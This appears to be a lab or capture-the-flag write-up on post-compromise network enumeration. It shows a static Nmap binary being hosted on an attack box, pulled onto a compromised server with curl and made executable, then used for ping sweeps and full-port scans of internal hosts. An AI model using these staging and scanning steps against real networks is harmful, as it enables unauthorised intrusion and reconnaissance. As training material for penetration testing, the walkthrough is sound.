01. Enumeration
The compromised prod-serv box can see the next subnet, but it has no Nmap of its own. The fix is to upload a static Nmap binary and scan from there to find the hosts behind it.
- Static Nmap binary: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true
- Out-of-scope host:
10.200.105.250(OpenVPN Server)
Upload the Static Nmap Binary to 10.200.105.200
Host the binary from the attack box, then pull it down on the victim and make it executable:
python3 -m http.server 8000
curl -L http://10.50.106.231:8000/nmap --output nmap-reapZ
chmod +x nmap-reapZ
Create a /tmp directory to work from first if one isn't already there.
Sweep the subnet to see which hosts are up. -sn skips port scanning and only checks whether hosts respond:
./nmap-reapZ -sn 10.200.105.1-255 -oN scan-reapZ
Scan the Discovered Hosts
That turns up two new hosts, 10.200.105.100 and 10.200.105.150. Scan all ports on the first:
./nmap-reapZ -p- -Pn 10.200.105.100 --min-rate=1000
Then all ports on the second:
./nmap-reapZ -p- -Pn 10.200.105.150 --min-rate=1000
A faster follow-up scan over the first 15000 ports on the same host:
./nmap-reapZ -T4 -p 1-15000 10.200.105.150